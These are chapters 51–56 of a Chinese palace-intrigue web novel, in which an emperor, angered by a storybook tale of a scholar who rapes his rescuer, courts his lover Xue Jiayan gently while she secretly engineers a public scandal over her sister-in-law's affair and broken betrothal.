“皇上!万万不可啊!”张鸿宝吓得连忙跪倒在地,声音都有些发颤,“若是无缘无故册封诰命,朝野上下必定会非议,到时候不仅会连累薛主子,让她站在风口浪尖上,还会有损您的圣名啊!” 姜玄本就因薛嘉言受辱而心烦,被张鸿宝这么一劝,更是憋了一肚子火气,猛地摆手让他出去。 张鸿宝见姜玄没再提封诰命的事,这才暗暗松了口气,偷偷擦了擦额头的冷汗。 姜玄躺着,心里像堵了块石头,看什么都觉得烦。他翻了个身,对着帐顶的缠枝莲纹出了会儿神,忽然扬声唤道:“千茉。” 殿外的千茉连忙轻手轻脚走进来,躬身行礼:“奴婢在,陛下有何吩咐?” “前两日甘松在偏殿看的那几本书,你去给朕拿过来。” 姜玄心绪烦乱,想找些消遣转移心神。 千茉应声退下,不多时便捧着三本书回来,小心翼翼地递到床边:“陛下,甘松那日看的是这几本。” 姜玄坐起身,接过书一看,最上面是本泛黄的《聊斋异闻录》,是常见的志怪传奇;中间是本《江湖侠客传》,封面上画着仗剑的侠客;最底下那本却有些不同,封面绣着缠枝海棠,题着“风月会”三个字。 他挑了挑眉,想看看俗世男女是如何爱慕与激情的,便翻开《风月会》,目光落在第一个故事上。 第51章 他也并不高尚 故事名叫《折明月》讲的是江南书生柳生赶考途中,遇山匪劫道,虽侥幸逃脱,却摔下山坡伤了腿,幸得附近道观的明月道姑路过救起。 明月心善,怕书生在外遇险,悄悄将他藏在道观后院的柴房里养伤。 柳生伤渐好,却迷上了明月的温婉善良与清丽容貌,故意装作腿伤未愈,赖在道观不走。明月不疑有他,每日偷偷从膳房拿点心、汤药送去,还陪他说话解闷。 可谁知一日夜黑风高,柳生趁明月送饭时,突然起身将她搂在怀里,强求欢好。明月又惊又怕,哭着挣扎,说自己是出家人,守着戒律,求他放过自己。 柳生却抱着她不肯放,只说“我心悦你,愿与你一生一世,何必守那无用的清规”,最终还是强行与明月发生了关系。 后面便是描述二人如何鱼水之欢,柳生甜言蜜语,明月渐渐沉迷。 后来二人奸情败露,明月羞愧难当,当晚悬梁自尽了。 柳生见状,连夜逃离了道观,数年后他金榜题名,带着妻子儿女路过那座道观,驻足叹息,特地写下一首悼念旧情的词,被世人传为美谈。 故事读到最后,姜玄的脸色早已沉得能滴出水来,手指攥着书页,指节都泛了白。他猛地抬手,将《风月会》狠狠扔了出去,书册带着风砸在雕花屏风上,“啪”的一声响,书页散了一地。 殿外的千茉听到动静,吓得赶紧跑进来,见姜玄脸色铁青地坐在床上,地上散落着话本,连忙跪倒在地,声音发颤:“陛下息怒。” 姜玄冷笑一声,“甘松买的什么狗屁不通的话本!书生忘恩负义,逼死救命恩人,最后还能心安理得地过好日子!罚他半个月俸银,让他好好反省反省!” “是,奴婢这就去传旨!”千茉连忙应下,膝行着上前,小心翼翼地捡起地上的《风月会》,低着头快步退了出去。 她找到在偏殿当值的甘松,将陛下的吩咐说了一遍,又忍不住问道:“甘松,你这几本话本到底是在哪里买的?把皇上都看生气了。” 甘松闻言,摸了摸后脑勺,脸上满是茫然,“我就是在东市的‘文籍斋’买的啊,里面都是些寻常故事,也没觉得有什么不妥……怎么陛下看了就动这么大的气呢?” 他实在想不明白,不过是个故事,怎么就惹得皇上发这么大的火。 姜玄想着那个故事,越想越气,这哪里是什么风月故事,明明就是鬼怪故事,那书生就是“色中饿鬼”。 他翻身坐起来,让人把张鸿宝叫来,吩咐道:“你去寻一些话本,要那种才子佳人,情情爱爱的。” 张鸿宝应是,正要出去,姜玄又道:“要正常一些。” 张鸿宝苦笑:“皇上,老奴哪知道什么是正常,什么是不正常的。” 姜玄便道:“那你就多买点,朕自会分辨。” 张鸿宝办事迅速,第二日果然带来十几本话本,他问了书店的掌柜,找的都是很多人爱看的,想来不会出错。 姜玄看了两本,的确比甘松那本《风月会》正常多了,虽都是些官家女爱上穷书生的故事,好歹是两情相悦,其间还有不少香艳描写,可以参考。 看了几本以后,姜玄发现,书生们前期爱慕女子,并不会上来就卿卿我我,而是花前月下,牵牵小手,讨论诗词,两心相知后才会你侬我侬。 他想到他与薛嘉言,第一次见面是在茶楼,不过一面之缘,第二次就在长宜宫的寝殿,榻上,碰撞。 可他就是很想要她啊,第一次见她,就想要了。 原来是要先花前月下吗? 这日早朝的钟声刚歇,文武百官陆续退出紫宸殿,姜玄对身后的张鸿宝低声吩咐:“今晚,把她接来。” 这夜恰逢月中,一轮明月悬在夜空,清辉遍撒,将长宜宫的琉璃瓦镀上一层银霜,晚风拂过,廊下的宫灯摇晃,灯影闪烁。 姜玄负手站在廊下,目光落在远处的宫墙剪影上,神色间还带着几分沉郁。 远处传来细微的脚步声,他抬眼望去,见甘松领着一个穿着太监常服的身影走来,薛嘉言身形纤细,裹在太监服里,露出一截白皙的脖颈,远远瞧着竟有几分怯生生的可爱。 瞧见她的那一刻,姜玄心头积压了一日的沉闷忽地散去大半,忽地就松快起来。 千茉引着薛嘉言去偏殿更衣,待看到薛嘉言褪去太监服后,里面竟穿着一件薄如蝉翼的淡红纱衣,纱衣贴在身上,隐约能瞧见底下的肌肤,像笼了一层绯色云雾。 千茉想起从前薛嘉言来侍寝时,寝殿内传出的暧昧声响,脸颊瞬间泛起红晕,连忙低下头,将备好的衣裳递过去,不敢再多看一眼。 薛嘉言穿好衣裳,缓步走到寝殿的软榻边。刚站稳,手腕便被人攥住,姜玄顺势将她拉进怀里,让她坐在自己膝上。 她今日特意用了玫瑰香露沐浴,身上带着一股清甜的花香,混着女子特有的柔媚气息,像一朵刚摘下来的娇艳玫瑰,沁人心脾。 姜玄低头,鼻尖蹭过她的发顶,深深吸了口气,满足地喟叹一声。 薛嘉言心里暗喜,正准备抬手拉开外衫的衣襟,让他看清里面那件精心缝制的纱衣,手腕却被姜玄轻轻按住。 他将她的手拢在自己掌心,轻轻摩挲着她的手,语气忽然变得低沉:“言言,你说实话,是不是因为朕是皇帝,你才不得不屈从?” 薛嘉言有些呆愣,她没想到,姜玄会突然问出这样的话。他们已经有过多次肌肤之亲,此刻再提“屈从”,似乎也没什么必要。 她垂眸看着两人交握的手,心里暗自嘀咕:都到这份上了,还问这些做什么? 姜玄的目光落在她低垂的发顶,脑海里不由自主地想起昨夜看的那本《风月会》。 可怜的明月救了人却被强暴,而薛嘉言更可怜,她甚至是被自己的夫君献祭的。 坦然受之的他,比之那个书生,又高尚在哪里呢? 第52章 奇怪的皇帝 薛嘉言见他神色恍惚,有些不知所措,皇帝今晚这是怎么了? 她特意穿了纱衣,就是想勾着他再亲密些,好让他更贪恋自己,日后也好借他的力对付高家和肃国公府,可他今晚着实奇怪,明明抱她很紧,却不急切要她。 她定了定神,抬起头,眼底漾起一抹柔婉的笑意,声音轻轻的,带着几分恰到好处的恭顺:“皇上为何会这么说?您是人中龙凤,九五之尊,臣妇能得您垂爱,侍寝在侧,那是臣妇的福气,怎么会是屈从呢?” 只有薛嘉言自己知道,这番话里有多少真心。 前世,她的确恨姜玄,恨他毁了她的家庭,恨他让她沦为玩物,恨他让她声名狼藉,认为他是一切悲剧的根源。 可这一世,她不想再恨了。恨姜玄有什么用?不过是徒增烦恼。她现在只想好好活着,护着所爱之人,然后借着姜玄的权柄,把那些欺辱过她们的人,一一踩在脚下。 姜玄于她而言,早已不是前世那个可恨的帝王,而是她复仇路上最有力的依仗。 薛嘉言轻轻解开寝衣最上面的扣子,领口松垮落下,纱衣领口本就是敞开的,露出一截雪白细腻的颈项,颈侧淡青色的血管隐约可见,底下春色若隐若现。 姜玄的目光落在那片莹白上,呼吸骤然一窒,喉结不自觉滚动了一下,却很快移开视线,抬手将她的衣领轻轻拢了拢,而后拦腰将她抱起,声音带着几分沙哑的克制:“今晚月光正好,不如陪朕出去赏会儿月。” 薛嘉言窝在他怀里,心头满是讶异。 前世今生,她与姜玄周旋这么久,从未有过这般“赏月”的闲情,从前每次入宫,两人不是直奔主题,便是带着各自的算计虚与委蛇,这般平和的相处,倒像是陌生得很。 长宜宫的值守宫人都是姜玄的心腹,见皇帝抱着一位女子出来,皆垂首躬身,连眼角的余光都不敢乱瞟。 姜玄将薛嘉言放下,自然地牵住她的手,他的手掌温热干燥,带着令人心安的力道。 两人沿着宫道缓缓走着,初夏的夜晚褪去了白日的燥热,晚风拂过廊下的宫灯,灯影摇曳,两人的影子落在青石板路上,亦步亦趋,竟有几分相依相偎的模样。 薛嘉言被他牵着,只觉得怪异得很,他们明明是见不得光的关系,是偷情的帝王与臣妻,可此刻掌心传来的温度,身边沉稳的脚步声,还有月夜下安静的氛围,却让她恍惚觉得,他们像是一对寻常人家情浓的夫妻,正趁着月色散步闲谈。 两人缓步走了一会,姜玄带着她在藤椅上坐下,他依旧握着她的手,语气随意地闲聊起来:“你是多大回的京城?” 薛嘉言低声回道:“八岁。八岁之前在丹阳,后来跟着爹娘来了京城。” 姜玄听得认真,又问道:“朕听说,你父亲当年失忆,是入赘到你母亲家的?吕家在江南也是有声望的商户,怎么没从同宗里过继个侄子,反倒要让你母亲招赘呢?” 提到往事,薛嘉言的眼神暗了暗,轻声叹息:“是我外祖父母太过疼爱我娘。他们就这一个女儿,生怕过继来的侄子心术不正,将来欺负我娘,索性就断了过继的念头,一心想给我娘招个上门女婿,好让她一辈子不受委屈。” 她说着,心里忍不住发酸。外祖父母的拳拳爱女之心,到头来却因为选错了人,让母亲一生郁郁寡欢,若他们泉下有知,不知道会有多心疼。 两人就这么有一搭没一搭地说着闲话,直到月影西斜,姜玄才抬手摸了摸她的后脑勺,俯身亲了一口她的脸颊,低声道:“时辰不早了,夜里风凉,朕让人送你回去。” 薛嘉言心里满是迷惑,她今晚精心打扮,穿了勾人的纱衣,本是想借着温存勾住姜玄的心,可结果呢?稀里糊涂被送回了戚家。 皇帝这是要做什么呢?若是不想要她了,大可不必大费周折地召她入宫,若是还贪恋她的身体,那应该像以前那样尽情宣泄。 如今拉着她说了一晚上闲话,到底是为了什么呢? 连续两次召她入宫,却都没有与她缠绵,姜玄这是怎么了? 薛嘉言回到家,带着满肚子的疑惑沉沉睡去,梦里尽是长宜宫的月色与姜玄难懂的眼神,直到窗外的晨光透过窗纱照进帐内,才悠悠转醒。 她伸了个懒腰,刚坐起身,司春便端着铜盆走进来,脸上带着笑意:“奶奶醒啦?早饭早就备好了,就等您呢。” 梳洗过后,薛嘉言走到外间的餐桌前,桌上已摆好了简单的早饭:一碗熬得绵密的小米粥,旁边是两碟清口小菜,酱瓜脆笋与凉拌木耳,还有一碟千层油饼、一盘金黄酥脆的羊肉煎饺,一碗热气腾腾的红枣桂圆阿胶羹,甜香扑鼻,是司春特意为她补气血的。 “棠姐儿呢?”薛嘉言拿起筷子,随口问道。 “姑娘早就醒了,在院子里跟奶娘玩儿呢,我这就去叫她。”司春说着,转身往外走。 不多时,棠姐儿便蹦蹦跳跳地跑进来,小脸上沾着点薄汗,扑到薛嘉言身边:“阿娘!你醒啦,刚才奶娘不让我来打扰你。” 薛嘉言笑着摸了摸她的头。 饭后,薛嘉言在书房里教棠姐儿读《千字文》,小家伙坐在她膝上,小手指着书页上的字,偶尔歪头问“阿娘,这个字念什么呀”,声音软萌。 待棠姐儿读累了,被奶娘带去午睡,薛嘉言才翻开桌上的账册,是上个月京城铺子的营收与城外庄子的收成记录,她细细核对着数字,笔尖偶尔在纸上勾画,神色专注。 不知不觉已到晌午,阳光透过窗棂晒在身上,暖得人有些犯困。 薛嘉言揉了揉眉心,正想着要不要回内室歇片刻,院外忽然传来一阵嘈杂的吵闹声,夹杂着男人的怒喝与女人的哭喊,打破了午后的宁静。 她皱了皱眉,刚要叫人去看看,春桃急匆匆跑进来,“奶奶!不好了!家门外来了一户姓周的人家,吵吵嚷嚷的,说……说蓉姑娘与人有染,不守妇道,要绑了蓉姑娘去五城兵马司告官呢!” 薛嘉言握着账册的手顿了顿,眼底却没什么意外,终于来了。 第53章 儿媳什么都不知道 自从戚倩蓉跟魏扬勾搭上,两人隔三岔五便找借口出去幽会,薛嘉言便暗中让人在戚倩蓉的吃食里加了些温和的助孕药材,让她能快一些怀上魏扬的孩子。 这个月月初,戚倩蓉的信期本该到了,薛嘉言让司雨旁敲侧击问了她的丫鬟香雪,得知月事迟迟没来,戚倩蓉只当是寻常推迟,没放在心上。 又过了七八日,月事依旧没来,薛嘉言便笃定,戚倩蓉定是怀了魏扬的孩子。 前世,戚倩蓉闹出这桩丑事时,是她费尽心力掩藏住,又花钱取消了婚约,才没让事情闹大,因为是她忙前忙后理事,自然清楚戚倩蓉的未婚夫家住在哪里。 这一世,她没打算再帮戚倩蓉遮掩,反而早早派人去了通州,故意在周家人面前说些闲话,又暗中想法子让周家发了笔小财,刚好够上京寻亲的盘缠,等他们一家到了京城,再“无意”中引着他们去了魏扬常带戚倩蓉去的戏楼。 周家人顺着指引找到包厢,刚掀开布帘子,就瞧见魏扬正搂着戚倩蓉,手在她衣襟里乱摸。 戚倩蓉的未婚夫周子旺气得眼睛都红了,冲上去就给了魏扬一拳。魏扬哪里是肯吃亏的主,他身材高大,一把推开周子旺,反手就还了几拳,打得周子旺鼻血流了一脸。 周家人见状,顿时哭天抢地地喊“打死人了”,戏楼里的客人都围过来看热闹。 魏扬嫌丢人,一把推开惊慌的戚倩蓉,又踹开挡路的周家人,头也不回地跑下楼梯,只留下戚倩蓉被周家人扯着头发骂“小娼妇”、“不知廉耻”,闹得整个戏楼人尽皆知。 “奶奶?您怎么了?”春桃见薛嘉言半天没说话,急得又问了一句。 薛嘉言回过神,眼底的冷意瞬间敛去,淡淡道:“知道了。你先去禀明太太,这事我也不知情。” 春桃应声退下,薛嘉言却没立刻起身,端起桌上的茶喝了一口。戚家的闹剧,才刚刚开始,总要热闹热闹,叫四邻都知道才好。 戚家门外,周子旺的母亲张氏攥着戚倩蓉的胳膊,嫂子李氏扯着她的裙子,一行人拉拉扯扯站着,骂着,引来不少路人围观。 戚倩蓉鬓发散乱,原本精致的襦裙被扯得皱巴巴的,脸上还带着泪痕,哭嚷着:“放开我”,却被张氏狠狠掐了把胳膊:“你这不知廉耻的小娼妇,与我儿有婚约还同人厮混,今日定要让你爹娘给我们周家一个说法!” 张氏扬着嗓子喊:“戚炳春!你给我出来!你家姑娘做出这等败坏门风的事,你还想躲不成?” 此时戚炳春早已去工部当值,府中主事的只有栾氏。 栾氏听下人回禀,顿时慌得手脚发软,她哪里见过这等阵仗,思来想去,只能跌跌撞撞往春和院跑,进门就拉着薛嘉言的手哭:“少亭媳妇!不好了!周家人……周家人拉着倩蓉回来了,说要找他爹要说法,这可怎么办啊!” 薛嘉言放下茶盏,慢悠悠起身,理了理裙摆,语气平静得很:“娘别急,周家人是什么人?” 栾氏期期艾艾道:“是从前的旧邻居。” 薛嘉言故作不解:“既是旧邻,为何来咱们门上叫骂?” 栾氏急道:“哎呀,你去问问就知道了!你爹不在家,你快些打发了他们!” 大门口,张氏絮絮叨叨跟围观人群说两家早有婚约,家贫才一直没来京寻找,没想到戚家就打算将女儿另嫁。 戚倩蓉听得懵了,她五岁就跟着父母进京,从未听过什么婚约。此刻被张氏和李氏死死拽着,手腕都被掐红了,见栾氏和薛嘉言来了,像是见了救星,眼泪瞬间涌了出来,挣扎着哭喊:“娘!嫂子!救我!我不认识他们!他们胡说!” 张氏见状,更是不肯松手,指着戚倩蓉的鼻子骂:“我们两家是十几年前定下的婚事,你们也收了信物,还有人证,怎么?如今你家发达了,就想赖婚不成?方才在戏楼,你跟那野男人搂搂抱抱,我们可看得清楚,你们家要是不承认婚约,我们就去衙门告你,让全京城的人都知道你是个败坏门风的娼妇!” 前世周家来闹时,薛嘉言才知道戚倩蓉有婚约,从前戚家在原籍时,与周家是旧邻,两家家境相当。 有次戚炳春喝醉了,一时兴起,竟与周子旺的父亲周老实说要做儿女亲家,当场定下婚约,还有同席的酒友作见证。 后来戚少亭进京赶考,全家人都跟过来谋生,这档子酒后定下的婚事,早被戚炳春抛到了脑后。 栾氏从前听戚炳春提过一嘴,可这些年两家断了往来,她想着周子旺比戚倩蓉大三岁,说不定早就成了亲,再加上如今戚家是官宦人家,戚倩蓉怎么也该配个勋贵子弟,哪里肯认这门婚约,便从未跟戚倩蓉提过。 周家倒是一直记得,不过家里穷,凑不上聘礼,便一直拖着,准备等把戚倩蓉年纪拖大了再来提亲。 前阵子有人去村里传了闲话,周家又正好发了一笔小财能做路费,这才急吼吼来京城闹这一场。 周老实站在一旁,看着戚府门前的汉白玉石阶,影壁后头花木葳蕤,再见栾氏和薛嘉言身上的衣裳都精美,顿时眼放精光。 戚家如今是京城大宅,若是能把这门婚约坐实,让儿子娶了戚倩蓉,周家也算攀上个官亲,日后在京城也有个依靠。 他清了清嗓子,对着栾氏拱了拱手:“弟妹,当年的婚约是戚兄亲口应下的,如今倩蓉做出这等事,若是让她嫁给我儿子,这事我们就咬咬牙认了,不然……” 栾氏一见这场面,早吓得手脚发软,她看向薛嘉言身边,声音发颤,带着哭腔道:“少亭媳妇!你快说句话啊。” 薛嘉言面带愁容,语气带着几分恰到好处的慌乱:“娘,这……这我也不知道怎么办啊?我年纪轻,嫁进戚家也没几年,从前从未听过什么婚约的事,我实在不知道该怎么劝啊!” 第54章 闹大了才好 此时戚家大门外围观的人挤在门口踮着脚往里瞧,议论声像嗡嗡的蜜蜂似的。 “听说戚家姑娘跟人私通,被未婚夫家抓了现行?” “可不是嘛!周家人说早就定了婚约,戚家发达了就想赖婚,把姑娘另嫁高门呢!” “这戚家也太不地道了,怎么能这么欺负人家老邻居!” 周家人见围观的人越来越多,底气更足了。周子旺的娘叉着腰,指着戚家大门,嗓门亮得能传遍半条街:“大家都来评评理啊!我们老周家跟戚家是几十年的旧邻,他们一家子跟着儿子进京当官,就把我们忘了!如今我们子旺等着娶媳妇,他们倒好,让女儿跟野男人私混,还想赖掉婚约!这世上哪有这么不要脸的人家!” 薛嘉言见状,做做样子吩咐仆从制止张氏,仆从们连忙上前,可周家人是“光脚不怕穿鞋的”,哪里肯依?周子旺的嫂子直接坐在地上,拍着大腿哭嚎起来,周子旺则攥着拳头护着,怒视着戚家人,场面越发混乱。 就在这时,远处传来一阵急促的脚步声,戚炳春穿着一身藏青的工部官服,脸上阴云密布,快步从人群中挤了进来。 他一眼就看到被周家人围着的戚倩蓉,还有坐在地上哭闹的张氏婆媳,脸色更沉了几分,强压着怒火,上前对着周子旺的爹拱了拱手,语气生硬道:“周老弟,多年不见,有话咱们进屋说,堵在门口像什么样子?” 周子旺的爹见戚炳春回来了,这才对着家里人摆了摆手,大声道:“都起来!进屋说!戚兄肯定给我们一个说法!” 周家人这才住了声,跟着戚炳春往里走。 门口的围观人群虽没散去,只在门外探头探脑,等着看后续的热闹。 一行人进了倒坐间,戚炳春让仆从给周家人倒了茶,自己则坐在主位上,脸上沉得能滴出水来,好半晌才挤出一丝笑意,扯着官腔开口:“周老哥,许久不见,你们在老家过得还安稳?难得来京城,若是不急着回去,我让人给你们寻个客栈,在京里多逛逛,尝尝京城的烤鸭、果子干。” 他这话绕来绕去,半句不提婚事,周子旺的爹周老实顿时急了,把手里的烟袋锅子往桌角一磕,火星子溅到蓝布桌布上,烧出个小黑点。 周老实冷声道:“你别跟我在这拿腔拿调的,今天我不跟你扯别的,就问你,两个孩子的亲事你认不认?什么时候给孩子们办喜事!” 周子旺眼神直勾勾地盯着缩在栾氏身后的戚倩蓉,语气里满是鄙夷:“她都跟人私通了,早就是个破鞋!要不是看在当年的婚约份上,我才不娶她!但嫁妆不能少,至少得有一千两银子,还得陪嫁几块好田,不然这事没完!” “你胡说!”戚倩蓉听到“破鞋”两个字,身子猛地一僵,眼泪像断了线的珠子似的往下掉,死死攥着栾氏的衣襟。 栾氏被这阵仗吓得手足无措,只能拍着女儿的背,嘴里反反复复念叨着“别吵了,有话好好说”,却半点主意都没有。 薛嘉言站在人群后,眼底藏着几分看戏的兴味。 前世周家是来年开春才寻到京城,那时戚倩蓉和魏扬的奸情还瞒着,周家并不知情,薛嘉言花了二百两银子才把人打发走。 可如今不一样,周家人亲眼撞破了戚倩蓉和魏扬的丑事,可不是那么好打发了。 她抬眼瞧着戚倩蓉,一边是精穷,贪图嫁妆,又知道她不检点的周家,一边是始乱终弃、家里乌烟瘴气的魏扬,左右都是坑。 薛嘉言心里暗笑,前世是她帮着戚倩蓉压下这事,这一世她倒要看看,没了她的帮忙,戚倩蓉会跳进哪个坑里。 戚炳春本就被周家人闹得心烦,听见周子旺那句“破鞋”“嫁妆不能少”,顿时像被点燃的炮仗,猛地一拍八仙桌,震得桌上的茶盏都晃了晃。 他脸色铁青,官帽上的铜扣都随着动作微微晃动,平日里在工部唯唯诺诺的模样荡然无存,此刻满是难得展露的“威严”:“周子旺!你休得胡言!我戚家女儿清清白白,岂容你这般污蔑?什么婚约,不过是早年酒后戏言,你竟当真上门撒野,还敢口出秽语,我这就让人去顺天府报官!” 周子旺被他这阵仗吓了一跳,往后缩了缩,却被他爹周老实拽了一把。 周老实虽穿着粗布短褂,脊背却挺得笔直,不服气地顶回去:“酒后戏言?当年你可是收了我家的银镯当信物,还有王老三的证词作证!如今你家在京城发了迹,就想不认账?报官就报官!我们让衙门评评理。” 周老实此刻十分庆幸,幸好出门前得了别人指点,让王老三签字画押了一份证词,防止戚炳春不认。 “评理?”戚炳春冷笑一声,“我看你是昏了头!你知道我儿之前在哪就任吗?正是顺天府!那边的大人们我可熟得很!我儿如今高升,堂堂五品官!我如今在工部当差,也是朝廷命官,你那套胡搅蛮缠在乡里管用,你以为在京城也管用?” 戚炳春说话间,阴恻恻地盯着周老实,看得周老实心头一阵发凉。 周老实看着眼前熟悉又陌生的戚炳春,心里也打起了鼓,跟儿子对视了一眼,没再强硬地说要去官府。 戚炳春这才重新换了和煦的面容,拍了拍周老实的肩膀:“好兄弟,听哥的,在京城多玩几日。来人,去悦来客栈定两间房,领着周老弟一家人过去住。” 周家人毕竟是乡民,没什么见识,被戚炳春这番话唬住,虽心有不甘,却也不敢再纠缠,跟着下人往外走,先去客栈休息。 戚炳春看着周家人骂骂咧咧地走远,才松了口气,脸色却依旧难看,转身瞪了一眼哭哭啼啼的戚倩蓉:“还哭!都是你惹出来的麻烦!” 戚倩蓉哽咽着道:“我哪知道什么婚约!” 戚炳春想到路上听下人说周家在戏楼堵住了戚倩蓉和云阳伯府的世子,不由转了转眼珠,将戚倩蓉叫走细问。 薛嘉言看完这出闹剧,回到春和院,悄悄吩咐司雨:“你去跟吕舟说,让他去找个讼棍,给他平时接案子十倍的银两,让讼棍主动去找周老实,说实在看不下去,愿意无偿帮他们打官司,务必把事情闹到顺天府去,越热闹越好。” 第55章 儿媳无能为力 周家人被戚炳春官威吓得不轻,周老实蹲在客栈的墙角,吧嗒着旱烟,眉头拧成了疙瘩:“算了算了,咱们小门小户的,哪斗得过当官的?真要闹下去,指不定咱们还得吃牢饭。” “可……可倩蓉那丫头明明跟我家子旺有婚约,还跟野男人私通!要是在乡里,她肯定要浸猪笼!” 张氏攥着帕子,气鼓鼓地拍着桌子,可声音里却没了方才在戚家的硬气,“要不……咱们就跟戚家要五十两路费,总不能就这么白来一趟。” 周子旺坐在床边,脸上还带着被魏扬打的淤青,闻言闷声道:“凭啥啊?婚约在,她就得嫁过来。” 没见戚倩蓉之前,周子旺对着门婚事还无所谓,见了之后便丢不开手了,这丫头真水灵,比村长姑娘还好看。 就在一家人拿不定主意时,有人敲响了房门,一个穿着青布长衫、手里摇着折扇的中年男人走了进来,脸上堆着笑:“在下是‘公正堂’的讼师,姓刘,听说几位在戚家受了委屈,我过来瞧瞧。” 周老实愣了愣,警惕地站起身:“你……你怎么知道我们的事?” 刘讼师走到桌边坐下,慢悠悠地扇着扇子:“方才在戚家门外,在下恰巧瞧见了热闹。周老爹,若是我没猜错,戚家定是拿权势压人,叫你们赶紧回去吧?” 周老实道:“我们平头百姓,人家是官,这也是没办法的事。” 刘讼师嗤笑一声道:“京城是什么地方?是天子脚下,最讲律法的地方!戚家算什么,也敢拿官威压人?他女儿有婚约在身,却与人有染,还想赖掉婚约,这在律法上,可是‘违婚另许’,理全在你们这边!” 张氏眼睛一亮,连忙问道:“刘先生,您的意思是,官府会帮我们?” “那是自然!”刘讼师一脸笃定,“我刚才听你们说,当年交换了信物,还有作证的人,那就是人证物证俱在啊!只要你们去顺天府告状,官府必定会判戚家理亏,不仅要让戚倩蓉履行婚约,还得给你们赔偿损失!” 周老实还是犹豫:“可……可我们怕闹不过戚家,毕竟他们在京城有关系……” “周老爹放心!”刘讼师笑着说,“在下做讼师这么多年,最擅长的就是打这种‘民告官’的案子。你们要是信得过在下,在下愿意无偿帮你们打官司。赢了,你们只要给在下一点辛苦费;输了,在下分文不取。你们想想,这对你们来说,有什么损失?要是赢了,不仅能讨回公道,还能让戚家给足嫁妆,这位小兄弟也能娶到媳妇,多好的事啊!” 周家人你看看我,我看看你,刘讼师的话句句说到了他们心坎里,“没损失”三个字,彻底打消了他们的顾。 周老实狠狠一拍大腿:“好!刘先生,我们信你!就按你说的办,去顺天府告状,跟戚家讨个公道!” 周子旺也来了劲,攥着拳头道:“对!不能让他们欺负到咱们头上!” 刘讼师见他们松了口,脸上的笑容更浓了,连忙从怀里掏出纸笔:“那咱们现在就写状纸,把戚家的事一一写清楚,明日一早就去顺天府递状子!” 戚家厅堂里的气氛沉闷,戚炳春端坐在上首的太师椅上,沉着一张脸先喝了两口茶。 戚倩蓉没再哭了,眼圈有些红肿,时不时偷瞟向薛嘉言,似乎有话说。 栾氏则照旧垂着头,连大气都不敢喘,活像个受欺负的小媳妇。 沉默了半晌,戚炳春终于开口,目光直直落在薛嘉言身上:“少亭媳妇,少亭不在家,府里出了这等事,你做长媳的,得管一管。” 薛嘉言立刻垂手而立,语气恭谨地挑不出错:“公爹有话尽管吩咐,儿媳听着。” 戚炳春“嗯”了一声,端足了公公的架子,清了清嗓子道:“周家那群人,是穷疯了,无非是想讹两个钱花花。你拿一百两银子,明日送过去,把他们打发走,别再来丢人现眼。” 这话听得薛嘉言心里冷笑,戚家人张口要银子可真是理所当然啊。 戚少亭在顺天府当差时,俸禄本就微薄,还不够他自己开销,如今虽升了官,新俸禄还没递到府里;戚炳春自己是九品小吏,俸禄还不够他逛窑子的,府中用度向来靠薛嘉言的嫁妆,这些年他们早把“伸手要”当成了应该的,连客气话都省了。 薛嘉言脸上立刻露出为难的神色,眉头轻轻蹙起,低低道:“公爹,不是儿媳不肯拿银子,实在是最近手头紧得很,娘和妹妹这两个月的月例银子,我都还没凑齐发下去呢。” “是啊老爷!”栾氏像听了这话,忙不迭抬起头,委屈地连连点头,“这月的月例确实没发!” 栾氏前些日子跟马寡妇学会打马吊,马寡妇要来带彩头的,栾氏没了月例银子,只好悄悄把家里的一个摆件拿出去当了几两银子。 戚炳春的眉头拧得更紧,语气里带着几分不相信:“怎么会没钱?你当初带了那么多嫁妆,良田庄子、金银玉器,哪样不是值钱的?” “公爹有所不知,”薛嘉言叹了口气,语气带着几分无奈,“嫁妆里的良田庄子都是死物,每年的租子要等秋收才到;现银这些年贴补家用,早见了底。您算算,府里主仆几十口人,丫鬟仆妇的月钱、每日的米粮菜蔬、子脩官场上的打点,哪一样不要银子?前些日子棠姐儿生病,请太医开方子,又花了不少,实在是周转不开了。” 戚炳春被她说得一噎,沉默了片刻,又想出个主意,语气强硬了些:“你嫁妆里不是有不少金银玉器吗?先挑些不常用的,拿去典当行应急,等日后手头松了到了,再赎回来就是。” 薛嘉言垂眸,语气里添了几分顾虑:“儿媳倒不是舍不得那些物件,只是子脩刚升了官,又被委派了重任,正是要立名声的时候。我若这时变卖嫁妆应急,传出去该多难听,岂不是耽误了他的前程?” 第56章 一种遭遇,两种对待 这话正好戳中了戚炳春的软肋,他这辈子没什么出息,唯一的指望就是儿子,儿子也确实改变了他们全家的命运。 一听会影响戚少亭的前程,戚炳春立刻没了底气,脸色更沉,却再也说不出“典当嫁妆”的话来。 戚炳春见薛嘉言不肯拿银子,眼角飞快扫向戚倩蓉,给她使了个眼色。 戚倩蓉心领神会,几乎是瞬间就动了身,膝盖“咚”地砸在堂屋的青石板上,发出一声沉闷的声响。 她一把抓住薛嘉言的裙摆,泪珠滚下来,边哭边说:“嫂子!求你帮帮我!周家那穷酸样,周子旺还一口一个‘破鞋’骂我,我要是真嫁过去,迟早得被他们磋磨死!你最疼我了,你肯定有办法的,嫂子,你帮帮我啊!” 薛嘉言的身子僵了一瞬,眼前的场景太过熟悉,熟悉到让她恍惚。 前世也是这样,周家来闹着要履行婚约,戚倩蓉同样是跪在她面前,哭求她压下流言。 那时她心软,不仅拿了二百两银子打发了周家,还替戚倩蓉瞒下了怀孕的事,给她添妆,让她进了魏家也有银钱傍身。 戚少亭贪慕权势将她送给姜玄,戚家人后来知道后,非但没有半分愧疚,反而用着棠姐儿要挟她,用礼义廉耻拿捏她,抢走她的嫁妆和女儿。 这其中,跳得最厉害的就是戚倩蓉。 如今,他们自己的女儿婚前就与人苟且,怀了孽种,闹到大堂上弄得人尽皆知,他们会骂她”淫贱“吗?不会,他们只会求她帮忙善后。 这一家子,喝着她的血,嚼着她的肉,却连片刻都没把她当成真正的家人。 薛嘉言垂眸看着戚倩蓉哭得皱成一团的脸,眼底掠过一丝不易察觉的寒凉,因回忆而有些怔忡,一时没应声。 戚倩蓉见她半天不说话,心里更急了,伸手又往她腿上凑了凑,声音带着几分娇羞和急切:“嫂子!我跟云阳伯世子有情!他现在还在为他祖母守孝,等孝期满了,肯定会风风光光娶我进门的!到时候别说一百两,就是一千两、一万两,我都能加倍还给你!你先帮帮我这一次,好不好?” 薛嘉言垂下眼眸,眼底的那点怔忡,早已被冰冷的嘲讽取代。 戚倩蓉想得可真美啊,前世没有闹得这么大,云阳伯府都不肯娶她,更何况这一世闹成这样呢。 “妹妹先起来,我去想想办法。” 